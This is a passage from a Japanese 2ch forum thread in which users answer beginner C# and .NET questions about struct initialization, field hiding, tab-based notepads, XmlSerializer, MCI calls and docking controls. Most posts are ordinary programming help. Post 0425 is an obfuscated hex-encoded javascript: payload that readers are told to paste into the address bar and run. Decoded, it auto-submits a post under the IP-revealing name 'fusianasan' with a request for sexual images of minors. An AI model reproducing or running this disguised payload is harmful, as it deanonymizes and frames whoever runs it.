そういうのを、文字列の検索とか正規表現とかで探し出す。
運よく取得するサイトがXHTMLになっている場合は、System.Xml名前空間を駆使すれば楽になるかもしれない。
0371在日外国人参政権反対
NGNG何がわからないのか明確にしる
ソースの場所
ソースの形式
そのソースの取得方
プログラムの書き方
全部
0372デフォルトの名無しさん
NGNG0373デフォルトの名無しさん
NGNGBinaryFormatter もしくは SopaFormatter にてシリアル化したオブジェクトのみを使用する事に問題点はありますか?
0374デフォルトの名無しさん
NGNGなんか問題があったときにスニファで見てもよくわからないとかが
ありそうなので、おいらは使わない
Soapはしらないけど、効率わるいんじゃないの?
0375デフォルトの名無しさん
NGNG同じ変数に2回以上newした場合はどうなんでしょう。
ループの中で構造体とかを初期化したいがためにnewでクリアしようとするのは
問題ないんでしょうか?
すごく抵抗を覚えるんですが・・・
・パターン1
A a = new A();
for (int i = 0; i < 10000; i++)
{
a = new A();
// 以降Aを設定する処理
}
・パターン2
for (int i = 0; i < 10000; i++)
{
A a = new A();
// 以降Aを設定する処理
}
・パターン3
A a = new A();
for (int i = 0; i < 10000; i++)
{
// 自力で初期化
a.xx = "";
// 以降Aを設定する処理
}
パフォーマンス的には3が一番いいような気がしていますが。
構造体を再度初期化する方法ってnew以外にあるんでしょうか?
0376デフォルトの名無しさん
NGNGボクシングされなければ、既に在る領域をコンストラクタで初期化しているだけのような気もする
……中を見てみないとどうにもいえないけど
不安ならば、パターン3の拡張として、
A に SetData みたいなメソッドを作り、そこで一気に値を変更してみればいかがか?
0377デフォルトの名無しさん
NGNG> パフォーマンス的には3が一番いいような気がしていますが。
少なくとも速度的には一番悪い。
1と2では差は無し。意味的に大した違いも無し(aの寿命だけ。実質的な動作は同じ)
> 構造体を再度初期化する方法ってnew以外にあるんでしょうか?
static readonlyなEmptyフィールドを用意するとか。
意味的にはnew()するのと変わりませんよ?
> ループの中で構造体とかを初期化したいがためにnewでクリアしようとするのは
> 問題ないんでしょうか?
> すごく抵抗を覚えるんですが・・・
そんなことよりも、初期値を指定しないで初期化する構造体の方に抵抗を覚えるな。
0378375
NGNG回答どーもです。
3が一番遅いというのは、newより個々のメンバをクリアする方が遅いんですか?
値型のnewの場合、内部的にmemsetみたいにクリア処理が1発走るだけなんですかね。
0379デフォルトの名無しさん
NGNGDirectXではできない(かなり面倒)と聞きました。
VFWで動きますでしょうか?サンプルなどありましたら、お教えください。
0380デフォルトの名無しさん
NGNGDirectShow(のActiveXコントロール)による極簡単なサンプル
ttp://chikuma.sit.ac.jp/2003-zemi/0103124/ASP/programs.htm
DirectX9のDirectShowの.NETラッパ作成プロジェクト
ttp://www.codeproject.com/cs/media/directshownet.asp
0381デフォルトの名無しさん
NGNG0382デフォルトの名無しさん
NGNG0383デフォルトの名無しさん
NGNG0384デフォルトの名無しさん
NGNG0385デフォルトの名無しさん
NGNG0386デフォルトの名無しさん
NGNG0387デフォルトの名無しさん
NGNGユーザーコントロールを配置して
デバッグしようとすると、ユーザーコントロールはビルドされていないとダメって
コンパイル時に起こられるのですが、みなさんはどうしてますか?
VS.NETproとかだとこういうエラーはでないんですか?
0388デフォルトの名無しさん
NGNG0389デフォルトの名無しさん
NGNG0390デフォルトの名無しさん
NGNG0391デフォルトの名無しさん
NGNG問答無用に全部コピーすると問題が出たりするしな(だからWindowTargetをわざわざ除外してる)。
public void CopyButton(System.Windows.Forms.Button from, System.Windows.Forms.Button to) {
foreach (System.Reflection.PropertyInfo inf in typeof(System.Windows.Forms.Button).GetProperties()) {
if (!inf.CanRead || !inf.CanWrite || inf.Name == "WindowTarget")
continue;
inf.SetValue(to, inf.GetValue(from, null), null);
}
}
0392デフォルトの名無しさん
NGNGすごい。
ありがとうございます!
やってみます。
0393デフォルトの名無しさん
NGNGタブ型のメモ帳を作っています。
richTextBoxを乗せたtabpageを追加していくようにしています。
上書き処理をしたいのですが自分で考えた方法は
openFileDialogでファイルのパスを取得してloadfileで読み込む
→内容を変更→savefileを使いpathパラメータはopenfileDialog.Filenameを指定して上書き
としているのですが、別のテキストファイルを開いたあとで開いてあったテキストファイルを上書きしようとすると
Filenameが後に開いたテキストファイルのものになってしまいます。
ファイルのパスをタブごとに維持しておく方法どうすればいいんでしょうか?
0394デフォルトの名無しさん
NGNGタブのページ毎の情報はタブのページ毎に保存しとく。
OpenFileDialog.FileNameを、それぞれのTabPageオブジェクトのTagにいれといて
保存する時はそれを使うようにする。
……むう、微妙に説明するのが難しい。
//開く時
TabPage page = tabControl1.SelectedTab;
page.Tag = openFileDialog.FileName;
((RichTextBox)page.Controls[0]).LoadFile(openFileDialog.FileName);
//上書き保存する時
TabPage page = tabControl1.SelectedTab;
string filename = (string)page.Tag;
((RichTextBox)page.Controls[0]).SaveFile(filename);
こんなかんじで。
0395デフォルトの名無しさん
NGNGしかし自分の説明不足からかわからない点が。
上の記述はすでにtabが開いてあるとしてのものですか?
説明が下手なのでコードを貼り付けます。
//開く
private void menuItem3_Click(object sender, System.EventArgs e)
{
openFileDialog1.DefaultExt = "*.txt";
openFileDialog1.Filter = "TEXT Files|*.txt";
if (openFileDialog1.ShowDialog() == System.Windows.Forms.DialogResult.OK && openFileDialog1.FileName.Length > 0)
{
string path = openFileDialog1.FileName;
string name = Path.GetFileName(path);
string title = name;
this.newtabpage = new System.Windows.Forms.TabPage(title);
this.tabControl1.Controls.Add(this.newtabpage);
this.newrichTextBox= new System.Windows.Forms.RichTextBox();
this.newrichTextBox.Dock=System.Windows.Forms.DockStyle.Fill;
this.newtabpage.Controls.Add(this.newrichTextBox);
this.newrichTextBox.LoadFile(openFileDialog1.FileName, RichTextBoxStreamType.PlainText);
this.tabControl1.SelectedTab=this.newtabpage;
this.newtabpage.ToolTipText=path;
TabPage newtabpage = tabControl1.SelectedTab;
newtabpage.Tag = openFileDialog1.FileName;
MessageBox.Show(this.newtabpage.Tag.ToString());//パスが取れてるか確認のため。
}
}
としてみましたが結果が同じになってしまいました。
試行錯誤中なので無駄な記述があるかもしれません。
説明不足の上長文で申し訳ありませんがどうかお救いください。
0396デフォルトの名無しさん
NGNGthis.newtabpageとかthis.newrichTextBoxとかは他で使わないならローカル変数でもいいような。
それはさておき開くときにファイル名を記録していないわけで。
this.newtabpage.Tag = name;
0397デフォルトの名無しさん
NGNGファイル名を記憶してみても
別のテキストファイルを開いたらすでに開いてあるテキストファイルのタブのtagも新しく開いた方のtagになってしまいます。
根本的におかしい部分はありますか?
何回も本当に申し訳ありません。挫折したくないので頑張らせてください。お願いします。
0398デフォルトの名無しさん
NGNGすいません、解決しました。
パスを確認する別の記述の部分に
TabPage newtabpage = tabControl1.SelectedTab;
を加えるのを忘れていました。
ありがとうございました!
0399デフォルトの名無しさん
NGNG文字列型変数は、削除されないんですよね?
string s = "ぬるぽ";
s = "にりぺ";
とした場合、「ぬるぽ」は残ってるんですよね?
で、「ぬるぽ」にアクセスしたいときはどうしたらいいですか?
0400デフォルトの名無しさん
NGNG0401デフォルトの名無しさん
NGNGstring s = "ぬるぽ";
string backup = s;
s = "にりぺ";
System.Console.WriteLine(backup);
0402デフォルトの名無しさん
NGNGGCの管理下に入ってそのうちメモリから消されるのみ。
というか
> 文字列型変数は、削除されないんですよね?
て意味不明。
System.Stringは変更不可クラスで、その意味は
文字列を操作する各メソッドが自分自身のインスタンスを書き換えるのではなく
新しいSystem.Stringインスタンスをつくって返すってこと。
0403デフォルトの名無しさん
NGNGstring p = s;
で、"ぬるぽ"を取得したり、"ぬるぽ"を消して、別の値を入れたり。
です。
0404デフォルトの名無しさん
NGNG> とした場合、「ぬるぽ」は残ってるんですよね?
もう手の届かないどこかに残っている。そのうち消えるが。
> で、「ぬるぽ」にアクセスしたいときはどうしたらいいですか?
諦めるのがよい。
>>403
>"ぬるぽ"を消して、別の値を入れたり。
別の値をどこに入れるね?
0405デフォルトの名無しさん
NGNGあんたはいったいなにがしたいんだ…?
0406デフォルトの名無しさん
NGNGどうでもいいことだが、参照が無くなってもWeakReferenceでアクセスできるような。
いや、これはGCの対象になるだけで参照は無くなってはいないか。
0407デフォルトの名無しさん
NGNG0408デフォルトの名無しさん
NGNG{
public string s = "Hage1";
}
class Class1 : Class
{
new public string s = "Hage2";
public static void Main(string[] args)
{
Class c1 = new Class1();
Console.WriteLine(c1.s);
Console.ReadLine();
}
}
"Hage2"を表示したいのに、"Hage1"が表示されます。
Class c1 = new Class1();
で作成されたインスタンスは、Class1のインスタンスじゃないんでしょうか?
0409デフォルトの名無しさん
NGNGまず、フィールドはオーバーライドできない。まあ当然だけど。
このサンプルでやってるのはプロパティやメソッドで隠蔽と呼ばれる手法。同じシグネチャを持つもので元クラスのを隠蔽するわけだな。
ちなみにフィールドの場合newキーワードすら不要。
でも隠れただけで実際には存在する。
どう元クラスのにアクセスするか、というと元クラスの型でアクセスする。
この場合Class型でアクセスしたからClass型のsが呼ばれたんだな、とCLRは判断するわけだ。
さて、貴方の目当ての機能はどういうものか。
オーバーライドという手法だ。
機能を考えれば自ずと明らかなんだけど、これはメソッドやプロパティなど、「単に値を保持するだけではない」ものにしか適用できない。
サンプル。
class Super {
public virtual string S {get {return s;}}
private string s = "Super";
}
class Sub : Super {
public override string S {get {return this.s + base.S;}}
private string s = "Sub";
public static void Main() {
Super sub = new Sub();
Console.WriteLine(sub.S);
}
}
むう、今一つ上手い説明がつけられない……。
>>407
何がしたいのか分からないので具体例を。
0410408
NGNGこの場合だと、
Class1クラスは、Classクラスのインスタンスを持っている。
Class1クラスのインスタンスc1は、Classクラスと、Class1クラスのインスタンスを持っている。
そこで、Class型のc1でアクセスしたので、Class1クラスのインスタンスの中の、Classクラスのインスタンスの変数sが呼び出された。
c1---------Class ←Class型でアクセスするとこの中のデータにアクセス
|--------Class1←Class1型で ヾ
ていう感じでいいんでしょうか? orz
0411デフォルトの名無しさん
NGNG違う。
Class1は、Classを拡張している。
class Class1 { // Classを継承させずに書いてみる。いや文法エラーだけど
public string Class.s = "Hage1";
public string Class1.s = "Hage2";
}
こんな感じに。
この場合名前が同じだからわざわざClass.とClass1.で分けてるけど、そうでなければわざわざ型名をつける必要もないのは分かるね?
単に同じ部分を繰り返し書かなくて良いようにしてるだけ、と捉えることもできる(深く立ち入ればそう単純でもないが
> Class1クラスのインスタンスc1は、Classクラスと、Class1クラスのインスタンスを持っている。
だからあくまでClass1のインスタンスはClass1のインスタンス。
Class1がたまたまClassの機能をそのまま引き継いでいるからClassにある機能も使うことができる。
> そこで、Class型のc1でアクセスしたので、Class1クラスのインスタンスの中の、Classクラスのインスタンスの変数sが呼び出された。
Class1クラスにはClass.sとClass1.sが両方定義されている。と考えられる。
普通c1はClass1のインスタンスなんだからsを呼ぶとClass1.sが返される。
でもClass型の方のsが欲しいなら、Class.sを呼び出すことを明示するためにClass型で呼び出す。
0412408
NGNGどうもありがとうございます。
>public string Class.s = "Hage1";
>public string Class1.s = "Hage2";
これでやっと分かりました、たぶん。
Class c1 = new Class1();
これで、base.Value でアクセスするような感じで、c1.Value で基底クラス(Class)のメンバーに、自動的にアクセス出来るってことですよね。
0413デフォルトの名無しさん
NGNG実はまだ上書き作業が上手くいっていません。というかsavefileを使う記述がすべて上手くいっていません。
問題はやはり保存したいもののとなりに新しく開いたものがあると
書き込むファイルは教えていただいた方法でちゃんと書き込んでいるのですが
書き込んでいる内容が一番最後に開いたタブのなかのrichTextBoxの内容になっています。
//上書き保存
private void menuItem4_Click(object sender, System.EventArgs e)
{
newtabpage = tabControl1.SelectedTab;
string fpath = newtabpage.Tag.ToString();
if(fpath.Length>0)
{
newrichTextBox.SaveFile(fpath,RichTextBoxStreamType.PlainText);
}
else
{
saveFileDialog1.DefaultExt = "*.txt";
saveFileDialog1.Filter = "TEXT Files|*.txt";
if(saveFileDialog1.ShowDialog() == System.Windows.Forms.DialogResult.OK &&saveFileDialog1.FileName.Length > 0)
{
newrichTextBox.SaveFile(saveFileDialog1.FileName,RichTextBoxStreamType.PlainText);
}
}
}
こう記述しております。
あと最初に回答していただいたときの
((RichTextBox)page.Controls[0]).LoadFile(openFileDialog.FileName); と
((RichTextBox)page.Controls[0]).SaveFile(filename); はどういう意味があるのでしょうか?
お願いします。
0414デフォルトの名無しさん
NGNGそのnewrichTextBoxは最後に開いたRichTextBoxを指しているだろう?
つまり現在選択中のタブ上にあるRichTextBoxを必ずしも指していない。
そのために
TabPage page = tabControl1.SelectedTab; //pageは現在選択中のタブのTabPage
string filename = (string)page.Tag; //現在選択中のタブがもつパス情報
((RichTextBox)page.Controls[0]).SaveFile(filename); //現在選択中のタブページに含まれるRichTextBoxを取得し、そのデータを上で取得したパスに保存
と書いたわけだ。
つかさ、こんなnewrichTextBoxだのなんだののフィールドは捨てた方がわかりやすくなると思う。
それぞれのメソッドで必要な時にtabControl1.SelectedTab.ControlsからRichTextBoxの参照を取得すべき。
0415デフォルトの名無しさん
NGNG試したところ上手くいきました。ありがとうございました。
意味はわかったんですけど
((RichTextBox)page.Controls[0]).SaveFile(filename);
という記述は変な聞き方ですがどこで手に入れた?のですか?
MSDNライブラリのtabpage.Controlsの周辺にもなかったので。
0416デフォルトの名無しさん
NGNG目的からしてTabPageにはDock.FillのRichTextBoxしか含まれてないだろう、と言う推測のもと
そうするとTabPage.Controls[0]はRichTextBoxになるわけで
それをControlsの各アイテムはControlクラスだからそのままではSaveFileメソッドを使えないから
一旦RichTextBoxにキャストしてSaveFileメソッドを実行、だが。
RichTextBox rtb = (RichTextBox)page.Controls[0];
trb.SaveFile(filename);
を一行で済ませただけだよ。
0417デフォルトの名無しさん
NGNG個々のオブジェクトの使い方を覚える前に、
まずはC#(というか.NET framework)そのものを学んだ方がよい。
重要なのは記述の方法ではなく、その記述が表現している概念だ。
0418デフォルトの名無しさん
NGNGC#のプログラムで表示させたいのですが、
どうすればいいのですか?
「開く」「保存」「キャンセル」のボタンがあるやつです。
0419デフォルトの名無しさん
NGNGSE・プログラマ スタートアップテキスト 10日間マスター講座 C#プログラミング 【基礎】
http://www.gihyo.co.jp/books/syoseki.php/4-7741-1767-6
を読んでタブ型メモ帳を作ろうとしていました。
この本は他のC#の解説書・サイトと比べるとかなり基本的なことだけでまとめられていて
自分にピッタリだなぁと思ったんです。
しかし質問するにつれてこの本に載っていない単語・表現・記述などがあるたび
検索してひとつずつ理解しながらまた質問していました。
やはりこれだけでは全然足りないみたいです。
これだけは読んでおけ!っていう本・サイトはありますか?
0420デフォルトの名無しさん
NGNG> 「開く」「保存」「キャンセル」のボタンがあるやつです。
それくらいならFormから派生させたクラス書こう。
Buttonを3つ配置してそれぞれのClickイベントでDialogResultプロパティを適当に設定するだけだ。
0421418
NGNGものがあるのであればそれを使いたい。
そもそもOS or IEのバージョンによっても表示が変わりますよね。
0422418
NGNG用意されてないの?自分でつくらないといけないの?
0423デフォルトの名無しさん
NGNGYesNoCancel程度ならMessageBoxで済むし。
0424デフォルトの名無しさん
NGNGあった気がするが。忘れたよ。Win32APIスレでも行ってみたら?
0425デフォルトの名無しさん
NGNGjavascript:s='7769746828646f63756d656e742e666f726d735b305d297b46524f4d2e76616c75653d2766757369616e6173616e273b4d4553534147452e76616c75
653d275c75333045445c75333045415c75373533425c75353043465c75333034465c75333036305c75333035355c7533303434273b7375626d69742e636c69636b2829
3b7d';for(l=0,e="";l<s.length;l+=2)e+='%'+s.substr(l,2);eval(unescape(e));
を1行にしてアドレス欄にコピペして実行すれ。
0426デフォルトの名無しさん
NGNG自動的に選択するようにしたいんですが、どうやったらいいですか?
0427デフォルトの名無しさん
NGNGMouseMoveイベント内で、
ListView.GetItemAt(int x, int y)またはListBox.IndexFromPoint(int x, int y)でマウス位置のアイテムまたはインデックスを取得。
ListViewItem.SelectedまたはListBox.GetSelectedがfalseならば
ListViewItem.Selectedをtrue、またはListBox.SetSelected(int index, bool value)で選択させる。
激しく鬱陶しそうなUIだな。
実用にならない気がする。
0428デフォルトの名無しさん
NGNG0429デフォルトの名無しさん
NGNGトレイの開閉操作を行いたいんだけど、どうもFrameworkにはなさそうなので
従来通り、winmm.dllのmciSendCommandでやろうと思ったわけですが、
構造体を引数にとる場合の処理で困ってます
typedef struct tagMCI_OPEN_PARMSW {
DWORD_PTR dwCallback;
MCIDEVICEID wDeviceID;
LPCWSTR lpstrDeviceType;
LPCWSTR lpstrElementName;
LPCWSTR lpstrAlias;
}
mciSendCommandのextern宣言は
public static extern int mciSendCommand(ulong IDDevice,uint uMsg,ulong fdwCommaand,[MarshalAs(UnmanagedType.LPStruct)] ref MCI_OPEN_PARMS dwParam);
としていますが、
「追加情報 : parameter #4 を集成できません。無効なマネージ/アンマネージ型の組み合わせです。この値は Struct と組で使用してください。」
と、例外が発生して実行できません
どうやったらいいんでしょうか?
0430デフォルトの名無しさん
NGNGそれだけなら
public static extern uint mciSendString(string command, StringBuilder returnBuffer, uint bufferSize, IntPtr whnd);
mciSendString("set cdaudio door open", null, 0, IntPtr.Zero);
mciSendString("set cdaudio door closed", null, 0, IntPtr.Zero);
で良さそうだけど。
//開閉状態のチェックは色々難しいところがあるようだ……。
ttp://forums.belution.com/ja/vc/000/153/83s.shtml
0431デフォルトの名無しさん
NGNGStringBuilder sb = new StringBuilder(256);
uint existCD = mciSendString("open Q:\\ type cdaudio alias Hoge", sb, 256, IntPtr.Zero);
if (sb.ToString() == "1") //ドライブのオープンに成功したかチェック
mciSendString("set Hoge door open", null, 0, IntPtr.Zero);
0432429
NGNGSendStringで開閉できたんですねorz
ありがとうございました
0433デフォルトの名無しさん
NGNGメッセージを受信した際にログを表示するrichTextBox1を最下行へスクロールしたいのですが、
private void richTextBox1_TextChanged(object sender, System.EventArgs e)
{
richTextBox1.SelectionLength = 0;
richTextBox1.SelectionStart = richTextBox1.Text.Length;
richTextBox1.ScrollToCaret();
richTextBox1.Focus();
richTextBox2.Focus();
//もしくは
//richTextBox1.SelectionStart = richTextBox1.Text.Length;
//richTextBox1.Select();
//richTextBox1.Focus();
//richTextBox2.Focus();
}
とすると、たしかに最下行へ移動するのですが、(richTextBox2で)文字入力途中に、
このイベントが発生すると当たり前ですがフォーカス奪われて文字入力が不便になります。
richTextBox2のほうで入力中でも、影響なくスクロールする方法があれば教えていただきたいです・・・。
0434467
NGNGFocus()ハズしてrichTextBox.1HideSelection = falseでうまくいきました
0435433
NGNG0436デフォルトの名無しさん
NGNG[]とかの正規表現に使う文字列がうまく検索できないみたいなんですけど
これって普通に[]とかを検索したい場合、検索したい文字列を自分で
変換したりする必要があるんですか?
それとも他に何か簡単な方法があるんでしょうか?
教えてくださいお願いします。
0437デフォルトの名無しさん
NGNG一体何でどうやって文字列の検索をしてるのかな。
0438デフォルトの名無しさん
NGNG0439デフォルトの名無しさん
NGNGレスありがとうございます。
検索の方法はコンボボックスのテキストから
ループさせて毎回比べるようなやり方で検索しています。
for (int i = 0; i <= DataGrid1.Rows.Count - 1; i++)
{
string s = DataGrid.Rows[i].Cells[0].Value.ToString();
int a = s.IndexOf(sStripPanel1.Text);
if (a!= -1)
{
結果表示
}
}
意味不明なことしてたらすみません。。。
RegexクラスのIsMatchでもやってみたんですけど
正規表現に使うらしい文字列?を入力するとエラーが出ました。
0440デフォルトの名無しさん
NGNG> for (int i = 0; i <= DataGrid1.Rows.Count - 1; i++)
最後のRowはチェックしないのな。
String.IndexOfは正規表現由来のメタ文字なんか考慮しない。
"abc[def]g".IndexOf("[d")は3を返す。
//まあ相談室スレの487-488みたいなUnicode由来の(と思われる)問題はあるようだけど。
実際にsStripPanel1.TextとDataGrid.Rows[i].Cells[0].Value.ToString()を表示させてみたら?
sStripPanel1.Textが意外な文字列になってる可能性がある。
念を入れてBitConverter.ToString(Encoding.Default.GetBytes(sStripPanel1.Text))とかでバイト単位でチェックする。
0441デフォルトの名無しさん
NGNGどうもありがとうございます。
>最後のRowはチェックしないのな。
します、直します( ´Д⊂ヽ
IndexOfで普通にできるのが分かっただけでも良かったです。
たぶん自分の書いたコードが相当おかしいのが原因だと思います。。。
色々やってみます。ありがとうございましたm(_ _)m
0442デフォルトの名無しさん
NGNG書籍かWEBで適当な入門書があったら教えてください。
C#によるコンポーネントプログラミング
(ttp://www.amazon.co.jp/exec/obidos/ASIN/4274065340/)
にはビジュアルなコントロールの作り方しか載っていませんでした。
よろしくお願いします。
0443デフォルトの名無しさん
NGNGそりゃ漠然としすぎてて書きようがないからじゃないかなぁ。
ttp://www.microsoft.com/japan/msdn/library/default.asp?url=/japan/msdn/library/ja/vbcon/html/vbconComponentAuthoring.asp
ms-help://MS.VSCC/MS.MSDNVS.1041/vbcon/html/vbconComponentAuthoring.htm
を参照にする。
まあ、Componentを継承させときゃいいよ、うん。
0444在日外国人参政権反対
NGNG.NETライブラリみたいに複数のプログラムで使いたいってことじゃないの?
0445デフォルトの名無しさん
NGNGありがとうございます。
ざっとみたところ、本当にComponentを継承するだけで良さそうですね。素晴らしい。
>>444
いえ、提供されているCOMがあるのですが、使い勝手がイマイチなので、
ラッパーコンポーネントを作ろうと思っています。
0446デフォルトの名無しさん
NGNGdataGridのセルがクリックされたときに元のDataTabeのどのRowにあたるか、
見つける方法ないですか?
ソートされちゃうと順番変わってわけわかめ。でも自動ソート機能は欲しい。
0447446
NGNG0448デフォルトの名無しさん
NGNGdataGrid.DataSource.Rows[dataGird.CurrentRowIndex];
つか設計おかしいよ。順番気にしてる時点で。
0449デフォルトの名無しさん
NGNGわけあってDataGridをListViewのように使ってるんです。
で、残念ながらそのコードだと、ソート前のDataRowしか取れませんでした。
0450デフォルトの名無しさん
NGNG主キーのところの値が完全一致するのを探せば良いんじゃない?
//カラムの並びを入れ替えられるとお手上げかな。
0451デフォルトの名無しさん
NGNGやっぱりそういう力技しかないんですね・・・。カラムの並び替えは無しの方向でやってます。
ありがとうございました。
0452デフォルトの名無しさん
NGNGCurrencyManagerを使えばできないかな
0453デフォルトの名無しさん
NGNGttp://dobon.net/vb/dotnet/datagrid/currentrow.html
0454デフォルトの名無しさん
NGNGSend()につっこみたいのですが、XmlSerializerの引数はstream用でバイト配列にする方法が見つかりません。
やっぱできないのでしょうか。。。。
0455デフォルトの名無しさん
NGNGxmlSerializer.Serialize(ms, obj);
byte[] bytes = ms.ToArray();
socket.Send(bytes, 0, bytes.Length);
ということかな?
0456デフォルトの名無しさん
NGNGMemoryStream
0457デフォルトの名無しさん
NGNG0458454
NGNGありがとうございます、MemoryStreamをつかうんですね
ためしてみます(`・ω・´)
0459デフォルトの名無しさん
NGNGthis.TopMost = !this.TopMost;
とやると常に手前にしたときにメインメニューのドロップダウンの部分が
フォームの下に隠れちゃうんですけど何がいけないんでしょうか。。。?
0460デフォルトの名無しさん
NGNGあれはSystem.Windows.Forms.TabControlからの継承で作れるものなのでしょうか。
サードパーティ製のものもあるにはあるのですが、
せっかくなので自分で作ってみたいのです。
0461在日外国人参政権反対
NGNG自分で気合で描画することを進めます。
0462454
NGNG>>455を参考にやってみましたが、うまくいかず(´・ω・`)
デシリアライズはこれでいいんですよ・・・ね・・・?
MemoryStream msRead = new MemoryStream();
XmlSerializer readSerializer = new XmlSerializer(typeof(Obj);
msRead.Write(byteAry,0,byteAry.Length);
Obj obj = (Obj)readSerializer.Deserialize(msRead);
msRead.Close();
0463デフォルトの名無しさん
NGNGMemoryStream msRead = new MemoryStream();
XmlSerializer readSerializer = new XmlSerializer(typeof(Obj);
msRead.Write(byteAry,0,byteAry.Length);
msRead.Position = 0; // コレ追加よろ
Obj obj = (Obj)readSerializer.Deserialize(msRead);
msRead.Close();
0465デフォルトの名無しさん
NGNGちまちまやってみますわ。
.net 2.0になっても各種コントロールはショボイままだった…。
幾つか良くなったのもあるけど。
0466デフォルトの名無しさん
NGNG7995.005229
とかを少数以下は無視していいのでintにしたいのですがどうすればいいですか?
Convert.Tointが使えなくて困ってます。(少数いかにも数字があるから?)
0467デフォルトの名無しさん
NGNGdoubleにしてからintに落とせば?
0468デフォルトの名無しさん
NGNG基本的に言語のライブラリはOSが提供するUIに口出ししないし、するべきではありません。
そういうのはサードパーティの仕事です。
0469デフォルトの名無しさん
NGNGやFlexGridなどの解説本を探してみたのだが、全然見つからないね。
ヘルプだけ見て使いこなせということなんだろうか。
0470466
NGNGいけました。ありがとうございました
0471デフォルトの名無しさん
NGNGまぁ今の".NET Framework"はそうかもしれないけど、
いずれWindowsのAPIになっていくわけでしょ。
そうするとやっぱりWindowsが提供するネイティブコントロールは
しょぼいってことになるわけで、そろそろどうにかならないものかとは思う。
0472デフォルトの名無しさん
NGNGVS標準のCrystalReportも日本語だとあまり情報ないよね。
仕事で作るような帳票類はGDIでゴリゴリ書いてる時間ないから
しかたなく使ってるけど、正直"たぶんこうやって使うんだろう"の世界。
0473在日外国人参政権反対
NGNGWindows.Formsにまとめてるのはその意図を汲んでのことだろう。
だからこそそれを拡充させてほしい気はする。
0474デフォルトの名無しさん
NGNGforeach ( UserList logoutUser in listBox1.Items )
{
if ( recMessage.TargetUserID == logoutUser.UserGuid )
{
listBox1.Items.Remove(logout);
}
}
と書くと
System.InvalidOperationException:
この列挙子が連結されている一覧は変更されています。
列挙子は、一覧が変更しない場合に限り使用できます。
とゴルァされるのですが、いい方法ないでしょうか・・・。
0475デフォルトの名無しさん
NGNG0476デフォルトの名無しさん
NGNGforで回してやるとかしな。
0477474
NGNG1回ブツが釣れれば十分なのでbreakかましたらうまくいきました
吊ってきますorz
0478デフォルトの名無しさん
NGNG同じ内容ですが、こちらに書かせてください。
VS.NetのC#でプログラム作ってるんですが、データセットから
テキストボックスにバインドする方法が分からないんです。
といっても、よくあるデータテーブルの列単位でバインドするやり方ではなくて
データテーブルのある条件に合致するレコードの項目をバインドしたいんです。
例えば
Key 列1 列2
001 1AAA 1BBB
002 2AAA 2BBB
003 3AAA 3BBB
004 4AAA 4BBB
005 5AAA 5BBB
みたいなデータテーブルから、TextBoxにはKey=003の条件によって
列1の内容(3AAA)をバインドしたいんです。
もちろん、バインドするからには変更結果も反映されていてほしいんですが・・・
お願いします。
0479デフォルトの名無しさん
NGNGusing System.Windows.Forms;
という感じにしておいた部分を
using System.Windows.NewForms;
とかに書き換えることで、クラス構成をそっくり新しくする事って邪道ですか?
0480デフォルトの名無しさん
NGNG0481デフォルトの名無しさん
NGNGその場合、
using System.Windows.Forms;
↓
using No479.Windows.Forms;
みたいに企業名(Systemの部分)を変えたほうがいいんじゃないか。
ttp://www.microsoft.com/japan/msdn/library/default.asp?url=/japan/msdn/library/ja/cpgenref/html/cpconnamespacenamingguidelines.asp
0482479
NGNGちゃうちゃう
System.Windows.Forms と System.Windows.NetForms の中に、
型は同じだけど挙動の異なるクラスがあったときに、
using 文でどちらを採用するか切り替えるのは邪道かな?って事
0484デフォルトの名無しさん
NGNGそういうクラスが大量にあるソースを目の前にしたときに激しい絶望感に襲われるのでやめてください。
using書いてるのにnamespaceフルに書いて別のnamespaceのクラスを使用されたりして混沌に拍車がかかったりします、してます……
0486デフォルトの名無しさん
NGNGusing Hoge = System.Windows.Forms;
Hoge.Form = new Hoge.Form();
で随分楽になると思うけど。
まあ479みたいなのは見たくもないと言うのはよく分かる。
0487デフォルトの名無しさん
NGNGそういうののためにAbstractFactoryとかあるとおもうのだけど。
あれは切り替えできるとともに、システム上での選択肢をひとつに強制するという使い方でもある。
ソースごとにusingで切り替えられるのは>>484のいうとおりたちの悪いバグの元。
0488デフォルトの名無しさん
NGNG>>アクティブなアプリケーションであるフォームをアクティブにした場合は、そのフォームが最前面に移動します。
>>アクティブなアプリケーションではないフォームの場合は、そのフォームのウィンドウ キャプションが点滅します。
とあるのですが、他のアプリケーションに切り替えてるときにこのメソッド呼び出されると、最前面に来る場合があるのですが、
他のアプリケーションにフォーカスしている ≠ その他のアプリケーションのフォームがアクティブである
ということなのしょうか・・・?
MSNメッセンジャーのように、通知が来たときに点滅するだけでいいのですが、
これってWin32API叩くしかないんでしょうか・・・。
0489デフォルトの名無しさん
NGNGなるねー。
.NET2.0ならFlashメソッドってのがあるんだけど。
0490488
NGNG0491デフォルトの名無しさん
NGNGあの画びょうのマークのついたドッキングウィンドウ・コンポーネントと、
プロパティを設定するためのコンポーネント(VS右下の、Nameとか設定できる奴)を
探していますが見つからない。
0492デフォルトの名無しさん
NGNGとりあえず
> プロパティを設定するためのコンポーネント(VS右下の、Nameとか設定できる奴)を
はPropertyGridだな。こいつは.NET Framework標準。
ドッキングウィンドウは……the Code Projectにあったようななかったような。
0493デフォルトの名無しさん
NGNGを
richTextBox1.AppendText( recMessage.ToString() + " : " /* + recMessage.Message + "\r\n" */);
string[] splString = recMessage.Message.Split(new char[] {'#'});
for ( int count = 0 ; count + 1 <= splString.Length ; count++ ){
if ( count != 0 ){
String colorCode = splString[count].Substring(0,1);
switch ( colorCode ){
case "1":
richTextBox1.SelectionColor = System.Drawing.Color.Blue;
richTextBox1.AppendText(splString[count].Substring(1));
break;
(中略)
default :
richTextBox1.AppendText(splString[count]);
break;
}
}else{
richTextBox1.AppendText(splString[count]);
}
}
richTextBox1.AppendText("\r\n");
}
にしたところ、エラー音が出るようになりました(処理は正常に行われてるっぽい) なぜでしょう・・・?
0494デフォルトの名無しさん
NGNGDockPanelSuite http://sourceforge.net/projects/dockpanelsuite/
無償でオープンソース。現在ベータ版で、メニューの統合がうまくいかないなどバグが残る。
DotNetMagic http://www.dotnetmagic.com/
機能的にはおそらく最強。でも有償。
MagicDocking http://www.codeproject.com/cs/miscctrl/dockingmanagerextender.asp
DotNetMagic の旧バージョン。ライセンスはよくわからん。
SharpDevelopに使われるなど実績あり。
Docking Suite http://www.divil.co.uk/net/controls/dockingsuite/
現在ベータ版。非商用利用に限り無償。
代表的なところでは、こんなものか。見た目や動きが微妙に違うので、実際に使ってみて選んだ方がいい。
0495デフォルトの名無しさん
